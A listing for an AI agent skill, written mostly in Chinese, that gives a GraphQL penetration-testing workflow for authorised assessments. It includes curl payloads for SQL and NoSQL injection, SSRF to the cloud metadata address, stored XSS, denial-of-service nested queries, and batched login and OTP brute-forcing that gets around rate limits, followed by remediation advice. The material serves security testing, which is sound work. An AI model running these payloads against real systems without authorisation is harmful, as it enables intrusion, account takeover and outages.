# Performing GRAPHQL Security Assessment

> 在授权安全测试期间，评估 GraphQL API 端点的内省泄漏、注入攻击、授权缺陷和拒绝服务漏洞。

- Skill: `killvxk/performing-graphql-security-assessment` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/performing-graphql-security-assessment`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/performing-graphql-security-assessment/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/performing-graphql-security-assessment

---


# 执行 GraphQL 安全评估（Performing GraphQL Security Assessment）

## 适用场景

- 在授权渗透测试期间，当目标应用程序使用 GraphQL API 时
- 评估通过 GraphQL 通信的单页应用程序（React、Vue、Angular）时
- 评估公开 GraphQL 端点的移动应用程序后端时
- 测试带有 GraphQL 网关或联邦的微服务架构时
- 在针对基于 GraphQL API 的漏洞赏金项目中

## 前置条件

- **授权**：针对目标的书面渗透测试协议
- **Burp Suite Professional**：带有 InQL 扩展用于 GraphQL 扫描
- **GraphQL Voyager**：模式可视化工具
- **InQL Scanner**：用于 GraphQL 内省和查询生成的 Burp 扩展
- **Altair GraphQL Client**：用于交互式测试的桌面 GraphQL 客户端
- **clairvoyance**：禁用内省时的 GraphQL 模式枚举工具
- **curl**：手动 GraphQL 查询提交

## 工作流程

### 步骤 1：发现并指纹识别 GraphQL 端点

定位 GraphQL 端点并确认 GraphQL 正在运行。

```bash
# 常见 GraphQL 端点路径
for path in graphql graphiql playground query gql api/graphql \
  v1/graphql v2/graphql graphql/console; do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST -H "Content-Type: application/json" \
    -d '{"query":"{__typename}"}' \
    "https://target.example.com/$path")
  echo "$path: $status"
done

# 检查 GraphQL IDE（GraphiQL、Playground）
curl -s "https://target.example.com/graphiql" | grep -i "graphiql"
curl -s "https://target.example.com/graphql/playground" | grep -i "playground"

# 指纹识别 GraphQL 引擎
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{__typename}"}' \
  "https://target.example.com/graphql"
# 响应因引擎而异：Apollo 返回"Query"，Hasura 返回"query_root"

# 检查 WebSocket GraphQL 订阅
# ws://target.example.com/graphql（或 wss://）
```

### 步骤 2：执行模式内省

提取完整的 GraphQL 模式以了解 API 表面。

```bash
# 完整内省查询
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name kind fields { name type { name kind ofType { name kind } } } } mutationType { fields { name } } queryType { fields { name } } subscriptionType { fields { name } } } }"}' \
  "https://target.example.com/graphql" | jq .

# 综合内省查询
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}"}' \
  "https://target.example.com/graphql" | jq . > schema.json

# 如果内省被禁用，使用 clairvoyance 进行模式枚举
python3 -m clairvoyance \
  -u "https://target.example.com/graphql" \
  -w /usr/share/seclists/Discovery/Web-Content/graphql-field-names.txt \
  -o discovered-schema.json

# 使用 GraphQL Voyager 可视化模式
# 将 schema.json 上传到 https://graphql-kit.com/graphql-voyager/
```

### 步骤 3：测试查询和变更的授权

验证访问控制是否在字段和对象级别强制执行。

```bash
# 测试查询所有用户（应需要管理员权限）
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"{ users { id email role passwordHash } }"}' \
  "https://target.example.com/graphql" | jq .

# 测试访问自己账户上的敏感字段
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"{ user(id: 1) { id email ssn creditCard internalNotes } }"}' \
  "https://target.example.com/graphql" | jq .

# 测试变更授权（使用用户令牌执行仅管理员操作）
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"mutation { deleteUser(id: 2) { success } }"}' \
  "https://target.example.com/graphql" | jq .

curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"mutation { updateUserRole(userId: 1, role: ADMIN) { id role } }"}' \
  "https://target.example.com/graphql" | jq .

# 无认证测试
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ users { id email } }"}' \
  "https://target.example.com/graphql" | jq .
```

### 步骤 4：测试注入漏洞

评估 GraphQL 查询的 SQL 注入、NoSQL 注入和其他注入类型。

```bash
# GraphQL 参数中的 SQL 注入
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ user(name: \"admin\\\" OR 1=1--\") { id email } }"}' \
  "https://target.example.com/graphql" | jq .

# NoSQL 注入（MongoDB）
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ users(filter: {email: {$ne: \"\"}}) { id email } }"}' \
  "https://target.example.com/graphql" | jq .

# 通过 GraphQL 测试 SSRF
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"mutation { importData(url: \"http://169.254.169.254/latest/meta-data/\") { result } }"}' \
  "https://target.example.com/graphql" | jq .

# 通过变更测试存储型 XSS
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"mutation { updateProfile(bio: \"<script>alert(1)</script>\") { id bio } }"}' \
  "https://target.example.com/graphql" | jq .

# GraphQL 指令注入
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user(id: 1) { email @deprecated } }"}' \
  "https://target.example.com/graphql" | jq .
```

### 步骤 5：测试拒绝服务攻击

评估查询复杂度限制和资源消耗控制。

```bash
# 深度嵌套攻击（查询深度）
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ users { friends { friends { friends { friends { friends { friends { friends { name } } } } } } } } }"}' \
  "https://target.example.com/graphql" | jq .

# 宽度攻击（请求多个字段）
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ u1: user(id:1){email} u2: user(id:2){email} u3: user(id:3){email} u4: user(id:4){email} u5: user(id:5){email} u6: user(id:6){email} u7: user(id:7){email} u8: user(id:8){email} u9: user(id:9){email} u10: user(id:10){email} }"}' \
  "https://target.example.com/graphql" | jq .

# 批量查询攻击
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '[{"query":"{ user(id:1){email} }"},{"query":"{ user(id:2){email} }"},{"query":"{ user(id:3){email} }"},{"query":"{ user(id:4){email} }"},{"query":"{ user(id:5){email} }"}]' \
  "https://target.example.com/graphql" | jq .

# 基于片段的循环引用
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ users { ...A } } fragment A on User { friends { ...B } } fragment B on User { friends { ...A } }"}' \
  "https://target.example.com/graphql" | jq .

# 测试无界分页
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ users(first: 1000000) { id email } }"}' \
  "https://target.example.com/graphql" | jq '.data.users | length'
```

### 步骤 6：测试批量请求绕过认证

使用查询批量来暴力破解凭据或绕过速率限制。

```bash
# 批量登录尝试以绕过速率限制
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '[
    {"query":"mutation{login(email:\"admin@target.com\",password:\"password1\"){token}}"},
    {"query":"mutation{login(email:\"admin@target.com\",password:\"password2\"){token}}"},
    {"query":"mutation{login(email:\"admin@target.com\",password:\"password3\"){token}}"},
    {"query":"mutation{login(email:\"admin@target.com\",password:\"admin123\"){token}}"},
    {"query":"mutation{login(email:\"admin@target.com\",password:\"letmein\"){token}}"}
  ]' \
  "https://target.example.com/graphql" | jq .

# 批量 OTP 验证尝试
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '[
    {"query":"mutation{verifyOTP(code:\"000000\"){success}}"},
    {"query":"mutation{verifyOTP(code:\"000001\"){success}}"},
    {"query":"mutation{verifyOTP(code:\"000002\"){success}}"},
    {"query":"mutation{verifyOTP(code:\"000003\"){success}}"},
    {"query":"mutation{verifyOTP(code:\"000004\"){success}}"}
  ]' \
  "https://target.example.com/graphql" | jq .

# 基于别名的批量（相同操作，不同别名）
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { a1:login(email:\"admin@test.com\",password:\"pass1\"){token} a2:login(email:\"admin@test.com\",password:\"pass2\"){token} a3:login(email:\"admin@test.com\",password:\"pass3\"){token} }"}' \
  "https://target.example.com/graphql" | jq .
```

## 核心概念

| 概念 | 定义 |
|---------|-------------|
| **内省（Introspection）** | 公开完整模式、类型、字段和变更的 GraphQL 功能 |
| **查询深度（Query Depth）** | GraphQL 查询的嵌套级别；深度过大的查询可能导致 DoS |
| **查询复杂度（Query Complexity）** | 根据查询中每个字段的解析成本计算的分数 |
| **批量请求（Batching）** | 在单个 HTTP 请求中发送多个查询以并行执行 |
| **别名（Aliases）** | 允许以不同参数多次查询同一字段的 GraphQL 功能 |
| **片段（Fragments）** | 可重用的字段选择，如果不验证可能导致循环引用 |
| **N+1 问题（N+1 Problem）** | 未优化的解析器导致嵌套字段指数级数据库查询 |
| **字段级授权（Field-level Authorization）** | 应用于单个字段而非整个类型的访问控制 |

## 工具与系统

| 工具 | 用途 |
|------|---------|
| **InQL（Burp 扩展）** | Burp Suite 的 GraphQL 内省扫描器和查询生成器 |
| **GraphQL Voyager** | 交互式模式可视化工具 |
| **Altair GraphQL Client** | 用于构造和测试查询的桌面 GraphQL IDE |
| **clairvoyance** | 禁用内省时的模式枚举工具 |
| **graphql-cop** | GraphQL 安全审计工具（`pip install graphql-cop`） |
| **BatchQL** | 用于速率限制绕过的 GraphQL 批量攻击工具 |

## 常见场景

### 场景 1：内省暴露内部模式
生产环境启用了内省，泄露了 `AdminSettings`、`InternalUser` 等内部类型以及 `deleteAllUsers` 等变更。这为进一步攻击提供了完整的路线图。

### 场景 2：缺少字段级授权
`User` 类型暴露了 `passwordHash`、`ssn` 和 `internalNotes` 字段。虽然前端只查询 `name` 和 `email`，但任何已认证用户都可以直接请求敏感字段。

### 场景 3：批量登录绕过
GraphQL 端点接受批量查询。通过在单个 HTTP 请求中发送 1000 次登录变更尝试，攻击者绕过了仅计算 HTTP 请求次数的基于 IP 的速率限制。

### 场景 4：嵌套查询 DoS
社交网络 API 允许查询 `friends { friends { friends { ... } } }` 至无限深度。10 级嵌套查询导致服务器处理数百万次数据库查询，造成拒绝服务。

## 输出格式

```
## GraphQL 安全评估报告

**目标**：https://target.example.com/graphql
**引擎**：Apollo Server 4.x
**评估日期**：2024-01-15

### 发现摘要
| 发现 | 严重程度 | 状态 |
|---------|----------|--------|
| 生产环境启用内省 | 中等 | 易受攻击 |
| 缺少字段级授权 | 高 | 易受攻击 |
| 无查询深度限制 | 高 | 易受攻击 |
| 批量查询速率限制绕过 | 高 | 易受攻击 |
| GraphiQL IDE 已暴露 | 低 | 易受攻击 |
| user 查询中的 SQL 注入 | 严重 | 易受攻击 |
| 变更上的 CSRF | 中等 | 通过（需要自定义头部） |

### 严重：通过 user 查询的 SQL 注入
**位置**：`user(name: String)` 查询参数
**载荷**：`{ user(name: "' OR 1=1--") { id email role } }`
**影响**：通过 GraphQL 接口完全读取数据库

### 高：批量认证绕过
**位置**：POST /graphql（数组请求体）
**载荷**：单个请求中包含 100 个登录变更的数组
**影响**：速率限制被绕过；每个 HTTP 请求可尝试 100 个密码

### 修复建议
1. 在生产环境中禁用内省
2. 对所有敏感字段实施字段级授权
3. 设置查询深度限制（最大 7-10 层）
4. 设置查询复杂度限制和成本分析
5. 禁用或对批量查询进行速率限制
6. 从生产环境中删除 GraphiQL/Playground
7. 对解析器中的所有数据库查询使用参数化处理
```

